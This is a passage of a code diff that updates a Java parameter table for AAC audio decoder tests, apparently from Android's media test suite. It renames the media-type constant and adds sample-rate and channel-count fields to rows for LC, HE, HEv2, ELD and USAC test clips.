-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_24kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 26.362852f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_32kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 28.635643f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_44kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 29.291637f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_48kHz_aac_lc.m4a"},
-                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 29.325756f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_8kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_8kHz_s16le_3s.raw", 26.362852f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_12kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_12kHz_s16le_3s.raw", 21.931713f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_16kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_16kHz_s16le_3s.raw", 22.068077f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_22kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 25.317978f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_24kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 25.651510f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_32kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 27.294687f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_44kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 27.313000f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_48kHz_aac_lc.m4a"},
-                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 27.676704f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_8kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_8kHz_s16le_3s.raw", 43.116123f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_12kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_12kHz_s16le_3s.raw", 35.972210f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_16kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_16kHz_s16le_3s.raw", 32.710854f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_22kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_22kHz_s16le_3s.raw", 39.281040f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_24kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_24kHz_s16le_3s.raw", 40.951191f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_32kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_32kHz_s16le_3s.raw", 49.436829f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_44kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_44kHz_s16le_3s.raw", 43.886215f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_5ch_48kHz_aac_lc.m4a"},
-                        "audio/bbb_5ch_48kHz_s16le_3s.raw", 44.271889f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_8kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_8kHz_s16le_3s.raw", 39.661064f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_12kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_12kHz_s16le_3s.raw", 34.971416f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_16kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_16kHz_s16le_3s.raw", 29.068884f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_22kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_22kHz_s16le_3s.raw", 29.427877f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_24kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_24kHz_s16le_3s.raw", 30.331501f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_32kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_32kHz_s16le_3s.raw", 33.926392f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_44kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_44kHz_s16le_3s.raw", 31.733263f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_6ch_48kHz_aac_lc.m4a"},
-                        "audio/bbb_6ch_48kHz_s16le_3s.raw", 31.032242f, -1L, CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_8kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_8kHz_s16le_3s.raw", 26.910906f, -1L, 8000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_12kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_12kHz_s16le_3s.raw", 23.380817f, -1L, 12000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_16kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_16kHz_s16le_3s.raw", 21.368309f, -1L, 16000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_22kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 25.995440f, -1L, 22050, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_24kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 26.373266f, -1L, 24000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_32kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 28.642658f, -1L, 32000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_44kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 29.294861f, -1L, 44100, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_48kHz_aac_lc.m4a"},
+                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 29.335669f, -1L, 48000, 1, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_8kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_8kHz_s16le_3s.raw", 26.381552f, -1L, 8000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_12kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_12kHz_s16le_3s.raw", 21.934900f, -1L, 12000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_16kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_16kHz_s16le_3s.raw", 22.072184f, -1L, 16000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_22kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 25.334206f, -1L, 22050, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_24kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 25.653538f, -1L, 24000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_32kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 27.312286f, -1L, 32000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_44kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 27.316111f, -1L, 44100, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_48kHz_aac_lc.m4a"},
+                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 27.684767f, -1L, 48000, 2, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_8kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_8kHz_s16le_3s.raw", 43.121964f, -1L, 8000, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_12kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_12kHz_s16le_3s.raw", 35.983891f, -1L, 12000, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_16kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_16kHz_s16le_3s.raw", 32.720196f, -1L, 16000, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_22kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_22kHz_s16le_3s.raw", 39.286514f, -1L, 22050, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_24kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_24kHz_s16le_3s.raw", 40.963005f, -1L, 24000, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_32kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_32kHz_s16le_3s.raw", 49.437782f, -1L, 32000, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_44kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_44kHz_s16le_3s.raw", 43.891609f, -1L, 44100, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_48kHz_aac_lc.m4a"},
+                        "audio/bbb_5ch_48kHz_s16le_3s.raw", 44.275997f, -1L, 48000, 5, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_8kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_8kHz_s16le_3s.raw", 39.666485f, -1L, 8000, 6, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_12kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_12kHz_s16le_3s.raw", 34.979305f, -1L, 12000, 6, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_16kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_16kHz_s16le_3s.raw", 29.069729f, -1L, 16000, 6, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_22kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_22kHz_s16le_3s.raw", 29.440094f, -1L, 22050, 6, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_24kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_24kHz_s16le_3s.raw", 30.333755f, -1L, 24000, 6, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_32kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_32kHz_s16le_3s.raw", 33.927166f, -1L, 32000, 6, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_44kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_44kHz_s16le_3s.raw", 31.733339f, -1L, 44100, 6, -1, -1,
+                        CODEC_ALL},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_48kHz_aac_lc.m4a"},
+                        "audio/bbb_6ch_48kHz_s16le_3s.raw", 31.033596f, -1L, 48000, 6, -1, -1,
+                        CODEC_ALL},
 
                 // aac-he
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_16kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_22kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_24kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_32kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_44kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_48kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_5ch_16kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_5ch_22kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_5ch_24kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_5ch_32kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_5ch_44kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_5ch_48kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_6ch_16kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_6ch_22kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_6ch_24kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_6ch_32kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_6ch_44kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_6ch_48kHz_aac_he.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-
-                // aac-eld
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_16kHz_aac_eld.m4a"},
-                        "audio/bbb_1ch_16kHz_s16le_3s.raw", -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_22kHz_aac_eld.m4a"},
-                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 24.959969f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_24kHz_aac_eld.m4a"},
-                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 26.495283f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_32kHz_aac_eld.m4a"},
-                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 31.464266f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_44kHz_aac_eld.m4a"},
-                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 33.852623f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_48kHz_aac_eld.m4a"},
-                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 33.136082f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_16kHz_aac_eld.m4a"},
-                        "audio/bbb_2ch_16kHz_s16le_3s.raw", -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_22kHz_aac_eld.m4a"},
-                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 24.959969f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_24kHz_aac_eld.m4a"},
-                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 26.962938f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_32kHz_aac_eld.m4a"},
-                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 27.784887f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_44kHz_aac_eld.m4a"},
-                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 29.223278f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_48kHz_aac_eld.m4a"},
-                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 29.171904f, -1L, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_16kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 16000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_22kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 22050, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_24kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 24000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_32kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 32000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_44kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 44100, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_48kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_16kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 16000, 5, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_22kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 22050, 5, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_24kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 24000, 5, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_32kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 32000, 5, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_44kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 44100, 5, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_5ch_48kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 48000, 5, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_16kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 16000, 6, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_22kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 22050, 6, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_24kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 24000, 6, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_32kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 32000, 6, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_44kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 44100, 6, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_6ch_48kHz_aac_he.m4a"},
+                        null, -1.0f, -1L, 48000, 6, -1, -1, CODEC_DEFAULT},
 
                 // aac-hev2
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_16kHz_aac_hev2.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_22kHz_aac_hev2.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_24kHz_aac_hev2.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_32kHz_aac_hev2.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_44kHz_aac_hev2.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{
-                        "audio/bbb_2ch_48kHz_aac_hev2.m4a"}, null, -1.0f, -1L, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_16kHz_aac_hev2.m4a"},
+                        null, -1.0f, -1L, 16000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_22kHz_aac_hev2.m4a"},
+                        null, -1.0f, -1L, 22050, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_24kHz_aac_hev2.m4a"},
+                        null, -1.0f, -1L, 24000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_32kHz_aac_hev2.m4a"},
+                        null, -1.0f, -1L, 32000, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_44kHz_aac_hev2.m4a"},
+                        null, -1.0f, -1L, 44100, 2, -1, -1, CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_48kHz_aac_hev2.m4a"},
+                        null, -1.0f, -1L, 48000, 2, -1, -1, CODEC_DEFAULT},
+
+                // aac-eld
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_16kHz_aac_eld.m4a"},
+                        "audio/bbb_1ch_16kHz_s16le_3s.raw", -1.000000f, -1L, 16000, 1, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_22kHz_aac_eld.m4a"},
+                        "audio/bbb_1ch_22kHz_s16le_3s.raw", 24.969662f, -1L, 22050, 1, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_24kHz_aac_eld.m4a"},
+                        "audio/bbb_1ch_24kHz_s16le_3s.raw", 26.498655f, -1L, 24000, 1, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_32kHz_aac_eld.m4a"},
+                        "audio/bbb_1ch_32kHz_s16le_3s.raw", 31.468872f, -1L, 32000, 1, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_44kHz_aac_eld.m4a"},
+                        "audio/bbb_1ch_44kHz_s16le_3s.raw", 33.866409f, -1L, 44100, 1, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_1ch_48kHz_aac_eld.m4a"},
+                        "audio/bbb_1ch_48kHz_s16le_3s.raw", 33.148113f, -1L, 48000, 1, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_16kHz_aac_eld.m4a"},
+                        "audio/bbb_2ch_16kHz_s16le_3s.raw", -1.000000f, -1L, 16000, 2, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_22kHz_aac_eld.m4a"},
+                        "audio/bbb_2ch_22kHz_s16le_3s.raw", 24.979313f, -1L, 22050, 2, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_24kHz_aac_eld.m4a"},
+                        "audio/bbb_2ch_24kHz_s16le_3s.raw", 26.977774f, -1L, 24000, 2, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_32kHz_aac_eld.m4a"},
+                        "audio/bbb_2ch_32kHz_s16le_3s.raw", 27.790754f, -1L, 32000, 2, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_44kHz_aac_eld.m4a"},
+                        "audio/bbb_2ch_44kHz_s16le_3s.raw", 29.236626f, -1L, 44100, 2, -1, -1,
+                        CODEC_DEFAULT},
+                {MEDIA_TYPE_AAC, new String[]{"audio/bbb_2ch_48kHz_aac_eld.m4a"},
+                        "audio/bbb_2ch_48kHz_s16le_3s.raw", 29.183796f, -1L, 48000, 2, -1, -1,
+                        CODEC_DEFAULT},
 
                 // aac-usac
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_8kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_16kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_22kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_24kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_32kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_44kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_1ch_48kHz_usac.m4a"},
-                        null, -1.0f, -1L, CODEC_DEFAULT},
-                {MediaFormat.MIMETYPE_AUDIO_AAC, new String[]{"audio/bbb_2ch_8kHz_usac.m4a"},
